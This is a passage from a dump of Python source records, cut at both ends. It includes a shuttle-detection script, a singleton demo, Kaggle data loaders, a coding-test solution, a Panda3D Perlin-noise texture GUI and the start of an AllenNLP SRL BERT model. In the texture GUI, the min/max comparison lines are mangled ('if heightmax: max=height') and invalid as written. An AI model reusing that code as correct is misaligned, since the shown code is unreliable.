classes,\n scores,\n min_score_thresh=.5):\n # first we have to find the corners. in (x,y) format\n image_height, image_witdh, channels = image.shape\n corners_points = []\n for i in range(boxes.shape[0]):\n if scores is None or scores[i] > min_score_thresh:\n box = tuple(boxes[i].tolist())\n ymin, xmin, ymax, xmax = box\n ymin = ymin * image_height\n ymax = ymax * image_height\n xmax = xmax * image_witdh\n xmin = xmin * image_witdh\n corners_points.append((int((xmax + xmin) / 2), int((ymax + ymin) / 2)))\n\n # now we are going to paint de points.\n image_pil = Image.fromarray(np.uint8(image)).convert('RGB')\n draw = ImageDraw.Draw(image_pil)\n for p in corners_points:\n r = 2\n draw.ellipse((720 - r, 100 - r, 720 + r, 100 + r), fill=(255, 0, 0))\n draw.ellipse((p[0] - r, p[1] - r, p[0] + r, p[1] + r), fill=(255, 0, 0))\n draw.point(p, fill=\"yellow\")\n\n def print_court_polylines(best_homography_matrix):\n\n for line in BadmintonCourt.court_lines():\n pts = np.float32([line]).reshape(-1, 1, 2)\n dst = cv2.perspectiveTransform(pts, best_homography_matrix)\n draw.line([(dst[0][0][0], dst[0][0][1]), (dst[1][0][0], dst[1][0][1])], fill=\"red\")\n\n if len(corners_points) == 4:\n # find homography matrix\n court = BadmintonCourt()\n ground_truth_corners = court.court_external_4_corners()\n src_pts = np.array(ground_truth_corners, np.float32)\n # puede que tengan que tener el mismo orden\n cp = corners_points\n # TODO test si puedo cambiar la lista directamente.\n\n homography_candidates = order_corner_points_for_homography(corners_points)\n dst_pts = np.array(homography_candidates, np.float32)\n M, mask = cv2.findHomography(src_pts, dst_pts)\n\n print_court_polylines(M)\n homography_ok_points = 0\n\n np.copyto(image, np.array(image_pil))\n\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"shuttle/four_channels/eval_dl_shuttle_detection_four_channels.py","file_name":"eval_dl_shuttle_detection_four_channels.py","file_ext":"py","file_size_in_byte":10148,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"456157722","text":"class ShoppingCart:\n # 类属性,记录创建与否(创建前后值发生变化)、记录所创建的对象供返回\n new_object = None\n\n def __new__(cls, *args, **kwargs):\n # 判断创建与否\n if cls.new_object is None:\n cls.new_object = object.__new__(cls)\n return cls.new_object\n\n # def __new__(cls, *args, **kwargs):\n # \"\"\"改用hasattr方法(属性为str),少设置初始值\"\"\"\n # if not hasattr(cls, \"has_instance\"):\n # cls.has_instance = object.__new__(cls)\n # return cls.has_instance\n\n\nShoppingCart.new_object = 1\nsc1 = ShoppingCart()\nprint(sc1)\n","sub_path":"days/d11_02_single_instance.py","file_name":"d11_02_single_instance.py","file_ext":"py","file_size_in_byte":644,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"126272884","text":"# -*- coding: utf-8 -*-\r\n\r\nimport numpy as np\r\nimport pandas as pd\r\n\r\ndef one_hot_encoder(Y):\r\n #gets a categorical variable, returns the one_hot encoded and the classes\r\n Y_set = np.sort(np.asarray(list(set(Y))))\r\n K = len(Y_set)\r\n Y_dic = dict()\r\n for i, item in enumerate(Y_set):\r\n Y_dic[item] = i\r\n N = len(Y)\r\n Y_enc = np.zeros((N,K))\r\n for i in range(N):\r\n Y_enc[i, Y_dic[Y[i]]] = 1\r\n Y_enc = Y_enc.astype('int32')\r\n return Y_enc, Y_dic.keys()\r\n\r\ndef get_normalized_data(s): #s = 'train' or 'test'\r\n # opens data corresonding to kaggle's digit recognition challenge\r\n # https://www.kaggle.com/c/digit-recognizer/\r\n # train data has 785 columns (28*28)+ 1 label\r\n # test data has 784 colums \r\n path_dir = 'C:\\\\Users\\\\digits\\\\' \r\n if s == 'train':\r\n df = pd.read_csv(path_dir+s+'.csv')\r\n data = df.values\r\n np.random.shuffle(data)\r\n Y = data[:,0]\r\n X = data[:,1:].astype(np.float32)\r\n Xmean = np.average(X, axis=0)\r\n Xstd = np.std(X, axis=0)\r\n np.place(Xstd, Xstd == 0, 1)\r\n X = (X - Xmean.T) / Xstd\r\n return X, Y\r\n elif s == 'test':\r\n df = pd.read_csv(path_dir+s+'.csv')\r\n X = df.values.astype(np.float32)\r\n np.random.shuffle(X)\r\n Xmean = np.average(X, axis=0)\r\n Xstd = np.std(X, axis=0)\r\n np.place(Xstd, Xstd == 0, 1)\r\n X = (X - Xmean.T) / Xstd\r\n return X, None\r\n else:\r\n print(\"File doesn't exist!\")\r\n return None, None\r\n \r\n\r\n\r\ndef get_face_Data(balance_ones=True):\r\n # images are 48x48 = 2304 size vectors\r\n # opens data corresonding to kaggle's Facial Expression Recognition Challenge\r\n # https://www.kaggle.com/c/challenges-in-representation-learning-facial-expression-recognition-challenge/\r\n # data has 3 columns, first is label with 7 states\r\n # second is 2304 pixel data separated with spaces\r\n # third says whether the row is training or test\r\n data_path = \"C:\\\\Users\\\\Payam\\\\Dropbox\\\\LazyProgrammerCourses-Mycodes\\\\ANN\\\\fer2013\\\\\"\r\n Y = []\r\n X = []\r\n first = True\r\n for line in open(data_path+'fer2013.csv'):\r\n if first:\r\n first = False\r\n else:\r\n row = line.split(',')\r\n Y.append(int(row[0]))\r\n X.append([int(p) for p in row[1].split()])\r\n\r\n X, Y = np.array(X) / 255.0, np.array(Y)\r\n\r\n if balance_ones:\r\n # balance the 1 class\r\n X0, Y0 = X[Y!=1, :], Y[Y!=1]\r\n X1 = X[Y==1, :]\r\n X1 = np.repeat(X1, 9, axis=0)\r\n X = np.vstack([X0, X1])\r\n Y = np.concatenate((Y0, [1]*len(X1)))\r\n\r\n return X, Y\r\n \r\n \r\n\r\n","sub_path":"process.py","file_name":"process.py","file_ext":"py","file_size_in_byte":2682,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"590411283","text":"dx=[1,2,1,0,0,-1]\ndy=[0,0,1,1,2,1]\ndef search(x,y,room):\n for z in range(6):\n nx=dx[z]+x\n ny=dy[z]+y\n if 0<=nx<5 and 0<=ny<5:\n if z==0 or z==3:\n if room[ny][nx]=='P':\n return False\n elif z==1:\n if room[ny][nx]=='P' and room[ny][nx-1]=='O':\n return False\n elif z==2:\n if room[ny][nx]=='P':\n if room[ny][nx-1]=='O' or room[ny-1][nx]=='O':\n return False\n elif z==4:\n if room[ny][nx]=='P' and room[ny-1][nx]=='O':\n return False\n elif z==5:\n if room[ny][nx]=='P':\n if room[ny][nx+1]=='O' or room[ny-1][nx]=='O':\n return False\n return True\n\ndef solution(places):\n #맨해튼거리(r1,c1)(r2,c2) |r1-r2|+|c1-c2|<=2이면 불가능\n #파티션 있으면 맨해튼 무시 가능\n #p:앉은자리, 0:빈테이블, X:파티션\n #places 한개 리스트가 방 하나\n ans=[]\n for room in places:\n #room:방하나\n itsOk=True\n for i in range(5):\n for j in range(5):\n if room[i][j]=='P':#주변 검사 실행\n itsOk=search(j,i,room)\n if not itsOk:\n break\n if not itsOk:\n break\n if itsOk:\n ans.append(1)\n else:\n ans.append(0)\n\n return ans\n","sub_path":"codingTest/keepDistance.py","file_name":"keepDistance.py","file_ext":"py","file_size_in_byte":1506,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"90776043","text":"from direct.gui.DirectGui import *\nfrom panda3d.core import *\n\nimport os\nimport re\n\nimport gui\nfrom textureguidialog import TextureGuiDialog\n\nimport logging\nlog=logging.getLogger(__name__)\n\nclass TextureGui:\n\n #\n TableSize=256\n ConstParamNames=[\"num_levels\", \"scale_factor\"]\n IndexedParamNames=[\"sx\", \"sy\", \"seed\", \"amp_scale\"]\n\n #\n ImageSideLength=512\n \n def __init__(self, base):\n # references:\n self.base=base\n # components:\n self.plane=None\n self.image=None\n self.frame_stacked_perlins=None\n self.dialog=None\n self.list_stacked_perlins=None\n self.primary_param_widgets=dict() # {name:DirectGui, ...}\n self.secondary_param_widgets=dict() # {name:DirectGui, ...}\n #\n self.params=dict()\n # variables:\n self.close_flag=False\n self.current_stacked_perlin_name=None\n self.manual_mode=0\n self.current_perlin_index=-1\n \n def load(self):\n log.info(\"load\")\n # stacked perlins frame\n self._load_main_frame()\n self._fill_stacked_perlins_list()\n #\n self.frame.accept(\"aspectRatioChanged\", self._on_aspect_ratio_changed)\n \n def unload(self):\n log.info(\"unload\")\n #\n if self.image:\n self.image.clear()\n self.image=None\n #\n if self.plane:\n self.plane.removeNode()\n self.plane=None\n #\n self.frame.ignore(\"aspectRatioChanged\")\n self.frame.destroy()\n self.frame=None\n\n def update(self):\n if self.dialog:\n if not self.dialog.update():\n self.dialog.unload()\n self.dialog=None\n self.frame.show()\n self._fill_stacked_perlins_list()\n self.current_stacked_perlin_name=None\n self._load_primary_param_widgets()\n self._load_secondary_param_widgets()\n return not self.close_flag\n\n def _generate_plane(self, perlin_override=None):\n log.info(\"generate_plane\")\n #\n if self.plane:\n self.plane.removeNode()\n self.plane=None\n #\n if self.current_stacked_perlin_name==None:\n return\n #\n self._update_params()\n perlin_obj=None\n if self.manual_mode:\n num_levels=self.params[\"num_levels\"]\n if num_levels==0:\n return\n perlin_obj=StackedPerlinNoise2()\n for i in range(num_levels):\n sx=self.params[\"sx_%i\"%i]\n sy=self.params[\"sy_%i\"%i]\n seed=self.params[\"seed_%i\"%i]\n amp_scale=self.params[\"amp_scale_%i\"%i]\n noise_obj=PerlinNoise2(sx, sy, TextureGui.TableSize, seed)\n perlin_obj.addLevel(noise_obj, amp_scale)\n else:\n num_levels=self.params[\"num_levels\"]\n scale_factor=self.params[\"scale_factor\"]\n sx=self.params[\"sx_0\"]\n sy=self.params[\"sy_0\"]\n seed=self.params[\"seed_0\"]\n amp_scale=self.params[\"amp_scale_0\"]\n perlin_obj=StackedPerlinNoise2(sx, sy, num_levels, scale_factor, amp_scale, TextureGui.TableSize, seed)\n #\n _card=CardMaker(\"plane\")\n _card.setFrame(-0.5, 0.5, -0.5, 0.5)\n #_card.setColor(1, 0, 0, 1)\n self.plane=self.base.render.attachNewNode(_card.generate())\n # generar image\n if self.image:\n self.image.clear()\n self.image=PNMImage(512, 512, 1, 65535)\n min=1000000.0\n max=0.0\n data=list()\n for x in range(self.image.getXSize()):\n for y in range(self.image.getYSize()):\n height=perlin_obj(x, y)\n if heightmax: max=height\n data.append(height)\n elevation=-min\n amplitude=max-min\n log.info(\"min/max;elevation;amplitude:%.3f/%.3f;%.3f;%.3f\"%(min, max, elevation, amplitude))\n #\n min=1000000.0\n max=0.0\n size_y=self.image.getYSize()\n for x in range(self.image.getXSize()):\n for y in range(size_y):\n height=data[(size_y*y)+x]\n height+=elevation\n height/=amplitude\n if heightmax: max=height\n self.image.setGray(x, y, height)\n log.info(\"min/max:%.3f/%.3f\"%(min, max))\n self.image.write(\"t.png\")\n # set TextureGui\n ts0=TextureStage(\"texture\")\n tex0=Texture()\n tex0.load(self.image)\n tex0.setWrapU(Texture.WMClamp)\n tex0.setWrapV(Texture.WMClamp)\n self.plane.setTexture(ts0, tex0)\n \n def _load_main_frame(self):\n log.info(\"_load_main_frame\")\n #\n ar=self.base.getAspectRatio()\n # frame and tool title\n self.frame=DirectFrame(frameColor=gui.FrameBgColor, frameSize=(0, 1, -1, 1), pos=(-ar, 0, 0))\n DirectLabel(parent=self.frame, text=\"perlin texture\", text_fg=gui.TitleFgColor, frameColor=gui.FrameBgColor, scale=0.1, pos=(0.5, 0, 0.9))\n DirectButton(parent=self.frame, text=\"x\", frameSize=(-0.5, 0.5, -0.5, 0.5), frameColor=gui.WidgetsBgColor, command=self._close, pos=(0.95, 0, 0.95), scale=0.1, text_fg=gui.TextFgColor, text_pos=(-0.05,-0.2), text_scale=0.75)\n # stacked perlins\n DirectLabel(parent=self.frame, text=\"stacked perlin noise files\", text_fg=gui.TextFgColor, text_align=TextNode.ALeft, frameColor=gui.FrameBgColor, scale=0.08, pos=(0, 0, 0.8))\n self.list_stacked_perlins=DirectOptionMenu(parent=self.frame, items=[\"(select...)\"], text_scale=0.5, text_pos=(0.25, 0), scale=0.1, pos=(0, 0, 0.7), text_fg=gui.TextFgColor, frameColor=gui.WidgetsBgColor, command=self._on_file_selected)\n DirectButton(parent=self.frame, text=\"+\", frameSize=(-0.5, 0.5, -0.5, 0.5), frameColor=gui.WidgetsBgColor, command=self._add_stacked_perlin, pos=(0.05, 0, 0.6), scale=0.1, text_fg=gui.TextFgColor, text_pos=(-0.05,-0.15))\n DirectButton(parent=self.frame, text=\"-\", frameSize=(-0.5, 0.5, -0.5, 0.5), frameColor=gui.WidgetsBgColor, command=self._delete_stacked_perlin, pos=(0.15, 0, 0.6), scale=0.1, text_fg=gui.TextFgColor, text_pos=(-0.05,-0.2))\n DirectButton(parent=self.frame, text=\"save\", frameSize=(-1.0, 1.0, -0.5, 0.5), frameColor=gui.WidgetsBgColor, command=self._save, pos=(0.3, 0, 0.6), scale=0.1, text_fg=gui.TextFgColor, text_pos=(-0.05,-0.2), text_scale=0.75)\n # texture\n DirectLabel(parent=self.frame, text=\"texture\", text_fg=gui.TextFgColor, text_align=TextNode.ALeft, frameColor=gui.FrameBgColor, scale=0.08, pos=(0, 0, 0.4))\n DirectButton(parent=self.frame, text=\"update\", frameSize=(-1.3, 1.3, -0.5, 0.5), frameColor=gui.WidgetsBgColor, command=self._generate_plane, pos=(0.13, 0, 0.3), scale=0.1, text_fg=gui.TextFgColor, text_pos=(-0.05,-0.2), text_scale=0.75)\n\n def _load_primary_param_widgets(self):\n log.info(\"_load_primary_param_widgets\")\n # destroy previous\n for n, w in self.primary_param_widgets.items():\n w.destroy()\n self.primary_param_widgets=dict()\n #\n self.current_perlin_index=-1\n #\n if self.current_stacked_perlin_name==None:\n return\n # create\n pos_y=0.1\n self.primary_param_widgets[\"label_parameters\"]=DirectLabel(parent=self.frame, text=\"noise parameters\", text_align=TextNode.ARight, text_fg=gui.TextFgColor, frameColor=gui.FrameBgColor, scale=0.08, pos=(0.64, 0, pos_y-0.0))\n if self.manual_mode:\n _items=[\"(select...)\"]+[str(i) for i in range(self.params[\"num_levels\"])]\n self.primary_param_widgets[\"label_list_noise_objs\"]=DirectLabel(parent=self.frame, text=\"noise objs\", text_align=TextNode.ARight, text_fg=gui.TextFgColor, frameColor=gui.FrameBgColor, scale=0.08, pos=(0.45, 0, pos_y-0.15))\n self.primary_param_widgets[\"list_noise_objs\"]=DirectOptionMenu(parent=self.frame, items=_items, text_scale=0.5, text_pos=(0.25, 0), scale=0.1, pos=(0.5, 0, pos_y-0.15), text_fg=gui.TextFgColor, frameColor=gui.WidgetsBgColor, command=self._on_noise_obj_selected)\n self.primary_param_widgets[\"btn_add_noise_obj\"]=DirectButton(parent=self.frame, text=\"+\", frameSize=(-0.5, 0.5, -0.5, 0.5), frameColor=gui.WidgetsBgColor, command=self._add_noise_obj, pos=(0.55, 0, pos_y-0.25), scale=0.1, text_fg=gui.TextFgColor, text_pos=(-0.05,-0.15))\n self.primary_param_widgets[\"btn_del_noise_obj\"]=DirectButton(parent=self.frame, text=\"-\", frameSize=(-0.5, 0.5, -0.5, 0.5), frameColor=gui.WidgetsBgColor, command=self._del_noise_obj, pos=(0.65, 0, pos_y-0.25), scale=0.1, text_fg=gui.TextFgColor, text_pos=(-0.05,-0.15))\n else:\n self.primary_param_widgets[\"label_num_levels\"]=DirectLabel(parent=self.frame, text=\"num levels\", text_align=TextNode.ARight, text_fg=gui.TextFgColor, frameColor=gui.FrameBgColor, scale=0.08, pos=(0.45, 0, pos_y-0.15))\n self.primary_param_widgets[\"label_scale_factor\"]=DirectLabel(parent=self.frame, text=\"scale factor\", text_align=TextNode.ARight, text_fg=gui.TextFgColor, frameColor=gui.FrameBgColor, scale=0.08, pos=(0.45, 0, pos_y-0.25))\n self.primary_param_widgets[\"entry_levels\"]=self._create_entry(self.frame, (0.5, 0, pos_y-0.15), str(self.params[\"num_levels\"]))\n self.primary_param_widgets[\"entry_scale_factor\"]=self._create_entry(self.frame, (0.5, 0, pos_y-0.25), str(self.params[\"scale_factor\"]))\n self.current_perlin_index=0\n\n def _load_secondary_param_widgets(self):\n log.info(\"_load_secondary_param_widgets\")\n # destroy previous\n for n, w in self.secondary_param_widgets.items():\n w.destroy()\n self.secondary_param_widgets=dict()\n #\n if self.current_perlin_index==-1:\n return\n # create\n pos_y=-0.3\n self.secondary_param_widgets[\"label_sx\"]=DirectLabel(parent=self.frame, text=\"scale x\", text_align=TextNode.ARight, text_fg=gui.TextFgColor, frameColor=gui.FrameBgColor, scale=0.08, pos=(0.45, 0, pos_y-0.0))\n self.secondary_param_widgets[\"label_sy\"]=DirectLabel(parent=self.frame, text=\"scale y\", text_align=TextNode.ARight, text_fg=gui.TextFgColor, frameColor=gui.FrameBgColor, scale=0.08, pos=(0.45, 0, pos_y-0.1))\n self.secondary_param_widgets[\"label_amp_scale\"]=DirectLabel(parent=self.frame, text=\"amp scale\", text_align=TextNode.ARight, text_fg=gui.TextFgColor, frameColor=gui.FrameBgColor, scale=0.08, pos=(0.45, 0, pos_y-0.2))\n self.secondary_param_widgets[\"label_seed\"]=DirectLabel(parent=self.frame, text=\"seed\", text_align=TextNode.ARight, text_fg=gui.TextFgColor, frameColor=gui.FrameBgColor, scale=0.08, pos=(0.45, 0, pos_y-0.3))\n #\n self.secondary_param_widgets[\"entry_sx\"]=self._create_entry(self.frame, (0.5, 0, pos_y-0.0), str(self.params[\"sx_%i\"%self.current_perlin_index]))\n self.secondary_param_widgets[\"entry_sy\"]=self._create_entry(self.frame, (0.5, 0, pos_y-0.1), str(self.params[\"sy_%i\"%self.current_perlin_index]))\n self.secondary_param_widgets[\"entry_amp_scale\"]=self._create_entry(self.frame, (0.5, 0, pos_y-0.2), str(self.params[\"amp_scale_%i\"%self.current_perlin_index]))\n self.secondary_param_widgets[\"entry_seed\"]=self._create_entry(self.frame, (0.5, 0, pos_y-0.3), str(self.params[\"seed_%i\"%self.current_perlin_index]))\n \n def _create_entry(self, parent, pos, text):\n entry=DirectEntry(parent=parent, initialText=text, text_scale=0.6, text_pos=(0.25, 0), \n pos=pos, text_fg=gui.TextFgColor, frameColor=gui.WidgetsBgColor, \n scale=(0.075, 0.1, 0.1), focusOutCommand=self._update_params)\n return entry\n\n def _on_aspect_ratio_changed(self):\n log.info(\"_on_aspect_ratio_changed\")\n ar=self.base.getAspectRatio()\n log.info(\"aspect ratio changed to %.3f\"%ar)\n self.frame.setPos(-ar, 0, 0)\n\n def _on_file_selected(self, arg0):\n log.info(\"_on_file_selected %s\"%arg0)\n if arg0==\"(select...)\":\n log.info(\"nothing selected\")\n self.current_stacked_perlin_name=None\n else:\n name_file=\"perlin_%s.txt\"%arg0\n self._open_file(name_file)\n #\n self._load_primary_param_widgets()\n self._load_secondary_param_widgets()\n \n def _add_stacked_perlin(self):\n log.info(\"_add_stacked_perlin\")\n #\n self.frame.hide()\n # dialog\n self.dialog=TextureGuiDialog(self.base)\n self.dialog.load()\n\n def _delete_stacked_perlin(self):\n log.info(\"_delete_stacked_perlin\")\n if self.current_stacked_perlin_name==None:\n return\n #\n log.info(\"delete stack '%s'...\"%self.current_stacked_perlin_name)\n file=\"perlin_%s.txt\"%self.current_stacked_perlin_name\n os.remove(file)\n self._fill_stacked_perlins_list()\n #\n self.current_stacked_perlin_name=None\n self._load_primary_param_widgets()\n self._load_secondary_param_widgets()\n \n def _open_file(self, name_file):\n log.info(\"_open_file '%s'\"%name_file)\n if not os.path.exists(name_file):\n log.info(\"does not exist\")\n return\n # open and read file\n file_params=dict()\n try:\n with open(name_file, \"r\") as arch:\n linea=arch.readline()\n while(linea):\n if linea!=\"\":\n partes=linea.split(\"=\")\n file_params[partes[0]]=partes[1].strip(\"\\n\")\n linea=arch.readline()\n except:\n log.info(\"error\")\n return\n print(str(file_params))\n # temporary variables\n name=\"\"\n manual_mode=0\n num_levels=0\n scale_factor=1\n validated_params=dict()\n # validate file params\n try:\n if \"name\" in file_params:\n name=file_params[\"name\"]\n else:\n log.error(\"'name' key missing\")\n return\n if \"manual_mode\" in file_params:\n manual_mode=int(file_params[\"manual_mode\"])\n else:\n log.error(\"'manual_mode' key missing\")\n return\n if \"num_levels\" in file_params:\n num_levels=int(file_params[\"num_levels\"])\n else:\n log.error(\"'num_levels' key missing\")\n return\n if \"scale_factor\" in file_params:\n scale_factor=float(file_params[\"scale_factor\"])\n else:\n log.error(\"'scale_factor' key missing\")\n return\n for i in range(num_levels):\n for k in TextureGui.IndexedParamNames:\n k_full_name=\"%s_%i\"%(k, i)\n if k_full_name in file_params:\n if k==(\"seed\"):\n validated_params[k_full_name]=int(file_params[k_full_name])\n else:\n validated_params[k_full_name]=float(file_params[k_full_name])\n if manual_mode:\n break\n except ValueError as e:\n log.exception(\"error %s\"%str(e))\n return\n # set params\n validated_params[\"num_levels\"]=num_levels\n validated_params[\"scale_factor\"]=scale_factor\n self.current_stacked_perlin_name=name\n self.manual_mode=manual_mode\n self.params=validated_params\n \n def _save(self):\n log.info(\"_save\")\n #\n if self.current_stacked_perlin_name==None:\n return\n #\n try:\n contenido=\"name=%s\\nmanual_mode=%s\\n\"%(self.current_stacked_perlin_name, self.manual_mode)\n for k in TextureGui.ConstParamNames:\n contenido+=\"%s=%s\\n\"%(k, str(self.params[k]))\n for k in TextureGui.IndexedParamNames:\n for i in range(self.params[\"num_levels\"]):\n k_full_name=\"%s_%i\"%(k, i)\n contenido+=\"%s=%s\\n\"%(k_full_name, self.params[k_full_name])\n if not self.manual_mode:\n break\n except ValueError as e:\n log.exception(\"error %s\"%str(e))\n return\n #\n file_name=\"perlin_%s.txt\"%self.current_stacked_perlin_name\n with open(file_name, \"w+\") as arch:\n arch.write(contenido)\n \n def _fill_stacked_perlins_list(self):\n log.info(\"_fill_stacked_perlins_list\")\n items=[\"(select...)\"]\n for file in [file for file in os.listdir() if re.fullmatch(\"perlin\\_.*\\.txt\", file)]:\n name=file[7:-4]\n items.append(name)\n self.list_stacked_perlins[\"items\"]=items\n\n def _close(self):\n log.info(\"_close\")\n self.close_flag=True\n\n def _on_noise_obj_selected(self, arg0):\n log.info(\"_on_noise_obj_selected %s\"%arg0)\n self._update_params()\n if arg0==\"(select...)\":\n log.info(\"nothing selected\")\n self.current_perlin_index=-1\n else:\n self.current_perlin_index=int(arg0)\n self._load_secondary_param_widgets()\n\n def _add_noise_obj(self):\n log.info(\"_add_noise_obj\")\n self._update_params()\n #\n idx=self.params[\"num_levels\"]\n #\n self.params[\"num_levels\"]+=1\n self.params[\"sx_%i\"%idx]=1\n self.params[\"sy_%i\"%idx]=1\n self.params[\"seed_%i\"%idx]=1\n self.params[\"amp_scale_%i\"%idx]=1\n #\n self._load_primary_param_widgets()\n self._load_secondary_param_widgets()\n \n def _del_noise_obj(self):\n log.info(\"_del_noise_obj %i\"%self.current_perlin_index)\n #\n if self.current_perlin_index==-1:\n return\n #\n num_levels=self.params[\"num_levels\"]\n for i in range(self.current_perlin_index, num_levels-1):\n for k in TextureGui.IndexedParamNames:\n k_full_name=\"%s_%i\"%(k, i)\n k_full_name_next=\"%s_%i\"%(k, i+1)\n self.params[k_full_name]=self.params[k_full_name_next]\n #\n self.params[\"num_levels\"]-=1\n for k in TextureGui.IndexedParamNames:\n k_full_name=\"%s_%i\"%(k, self.params[\"num_levels\"])\n del self.params[k_full_name]\n #\n self._load_primary_param_widgets()\n self._load_secondary_param_widgets()\n\n def _update_params(self, *args):\n log.info(\"_update_params\")\n #\n if self.current_perlin_index==-1:\n return\n #\n try:\n if not self.manual_mode:\n self.params[\"num_levels\"]=int(self.primary_param_widgets[\"entry_levels\"].get())\n self.params[\"scale_factor\"]=float(self.primary_param_widgets[\"entry_scale_factor\"].get())\n self.params[\"sx_%i\"%self.current_perlin_index]=float(self.secondary_param_widgets[\"entry_sx\"].get())\n self.params[\"sy_%i\"%self.current_perlin_index]=float(self.secondary_param_widgets[\"entry_sy\"].get())\n self.params[\"seed_%i\"%self.current_perlin_index]=int(self.secondary_param_widgets[\"entry_seed\"].get())\n self.params[\"amp_scale_%i\"%self.current_perlin_index]=float(self.secondary_param_widgets[\"entry_amp_scale\"].get()) \n except ValueError as e:\n log.exception(\"error %s\"%str(e))\n","sub_path":"lab/perlingen/texturegui.py","file_name":"texturegui.py","file_ext":"py","file_size_in_byte":19526,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"250792249","text":"import pickle\r\n\r\nprint('Укажите ваши\\n')\r\ntoxic_dump = dict(\r\n firstname=(input('Имя: ')),\r\n lastname=(input('Фамилию: ')),\r\n age=(input('Возраст: ')),\r\n properties=(input('Рост, Вес, Размер обуви (через запятую): ')))\r\n\r\nriver = open('user', 'wb')\r\npickle.dump(toxic_dump, river)\r\nriver.close()\r\n\r\nprint('Проверьте:', end=' ')\r\ntest = open('user', 'rb')\r\nprint(pickle.load(test))\r\ntest.close()\r\n","sub_path":"algoritmization/studerts.py","file_name":"studerts.py","file_ext":"py","file_size_in_byte":475,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"525059880","text":"from typing import Dict, List, Optional, Any, Union\n\nfrom overrides import overrides\nimport torch\nfrom torch.nn.modules import Linear, Dropout\nimport torch.nn.functional as F\nfrom pytorch_pretrained_bert.modeling import BertModel, BertPreTrainedModel\n\nfrom allennlp.data import Vocabulary\nfrom allennlp.models.model import Model\nfrom allennlp.nn import InitializerApplicator, RegularizerApplicator\nfrom allennlp.nn.util import get_text_field_mask, sequence_cross_entropy_with_logits\nfrom allennlp.nn.util import get_lengths_from_binary_sequence_mask, viterbi_decode\nfrom allennlp.training.metrics import SpanBasedF1Measure\n\n\nclass ConditionalSemanticBert(BertPreTrainedModel):\n \"\"\"BERT model for token-level classification.\n This module is composed of the BERT model with a linear layer on top of\n the full hidden state of the last layer.\n\n Params:\n `config`: a BertConfig class instance with the configuration to build a new model.\n `num_labels`: the number of classes for the classifier. Default = 2.\n\n Inputs:\n `input_ids`: a torch.LongTensor of shape [batch_size, sequence_length]\n with the word token indices in the vocabulary(see the tokens preprocessing logic in the scripts\n `extract_features.py`, `run_classifier.py` and `run_squad.py`)\n `token_type_ids`: an optional torch.LongTensor of shape [batch_size, sequence_length] with the token\n types indices selected in [0, 1]. Type 0 corresponds to a `sentence A` and type 1 corresponds to\n a `sentence B` token (see BERT paper for more details).\n `attention_mask`: an optional torch.LongTensor of shape [batch_size, sequence_length] with indices\n selected in [0, 1]. It's a mask to be used if the input sequence length is smaller than the max\n input sequence length in the current batch. It's the mask that we typically use for attention when\n a batch has varying length sentences.\n `labels`: labels for the classification output: torch.LongTensor of shape [batch_size]\n with indices selected in [0, ..., num_labels].\n\n Outputs:\n if `labels` is not `None`:\n Outputs the CrossEntropy classification loss of the output with the labels.\n if `labels` is `None`:\n Outputs the classification logits of shape [batch_size, sequence_length, num_labels].\n\n Example usage:\n ```python\n # Already been converted into WordPiece token ids\n input_ids = torch.LongTensor([[31, 51, 99], [15, 5, 0]])\n input_mask = torch.LongTensor([[1, 1, 1], [1, 1, 0]])\n token_type_ids = torch.LongTensor([[0, 0, 1], [0, 1, 0]])\n\n config = BertConfig(vocab_size_or_config_json_file=32000, hidden_size=768,\n num_hidden_layers=12, num_attention_heads=12, intermediate_size=3072)\n\n num_labels = 2\n\n model = BertForTokenClassification(config, num_labels)\n logits = model(input_ids, token_type_ids, input_mask)\n ```\n \"\"\"\n def __init__(self, config):\n super(ConditionalSemanticBert, self).__init__(config)\n self.bert = BertModel(config)\n self.apply(self.init_bert_weights)\n\n def forward(self, input_ids, token_type_ids=None, attention_mask=None, output_all_encoded_layers=True):\n encoded_layers, pooled_output = self.bert(input_ids, token_type_ids, attention_mask, output_all_encoded_layers)\n return encoded_layers, pooled_output\n\n\n@Model.register(\"srl_conditional_semanticbert\")\nclass SrlBert(Model):\n \"\"\"\n\n Parameters\n ----------\n vocab : ``Vocabulary``, required\n A Vocabulary, required in order to compute sizes for input/output projections.\n model : ``Union[str, BertModel]``, required.\n A string describing the BERT model to load or an already constructed BertModel.\n initializer : ``InitializerApplicator``, optional (default=``InitializerApplicator()``)\n Used to initialize the model parameters.\n regularizer : ``RegularizerApplicator``, optional (default=``None``)\n If provided, will be used to calculate the regularization penalty during training.\n label_smoothing : ``float``, optional (default = 0.0)\n Whether or not to use label smoothing on the labels when computing cross entropy loss.\n ignore_span_metric: ``bool``, optional (default = False)\n Whether to calculate span loss, which is irrelevant when predicting BIO for Open Information Extraction.\n \"\"\"\n def __init__(self,\n vocab: Vocabulary,\n bert_model: Union[str, BertModel],\n pretrained_conditional_semanticbert: str,\n embedding_dropout: float = 0.0,\n initializer: InitializerApplicator = InitializerApplicator(),\n regularizer: Optional[RegularizerApplicator] = None,\n label_smoothing: float = None,\n ignore_span_metric: bool = False) -> None:\n super(SrlBert, self).__init__(vocab, regularizer)\n\n if isinstance(bert_model, str):\n self.bert_model = BertModel.from_pretrained(bert_model)\n else:\n self.bert_model = bert_model\n\n # load pre-trained conditional semanticbert\n self.conditional_semanticbert = ConditionalSemanticBert.from_pretrained(\"bert-base-uncased\")\n print('load a pre-trained model from ' + pretrained_conditional_semanticbert)\n pretrained_state_dict = torch.load(pretrained_conditional_semanticbert)\n model_state_dict = self.conditional_semanticbert.state_dict()\n print('pretrained_state_dict', pretrained_state_dict.keys())\n print('model_state_dict', model_state_dict.keys())\n pretrained_state = {k: v for k, v in pretrained_state_dict.items() if\n k in model_state_dict and v.size() == model_state_dict[k].size()}\n model_state_dict.update(pretrained_state)\n print('updated_state_dict', model_state_dict.keys())\n self.conditional_semanticbert.load_state_dict(model_state_dict)\n self.conditional_semanticbert.to('cuda')\n\n self.num_classes = self.vocab.get_vocab_size(\"labels\")\n # For the span based evaluation, we don't want to consider labels\n 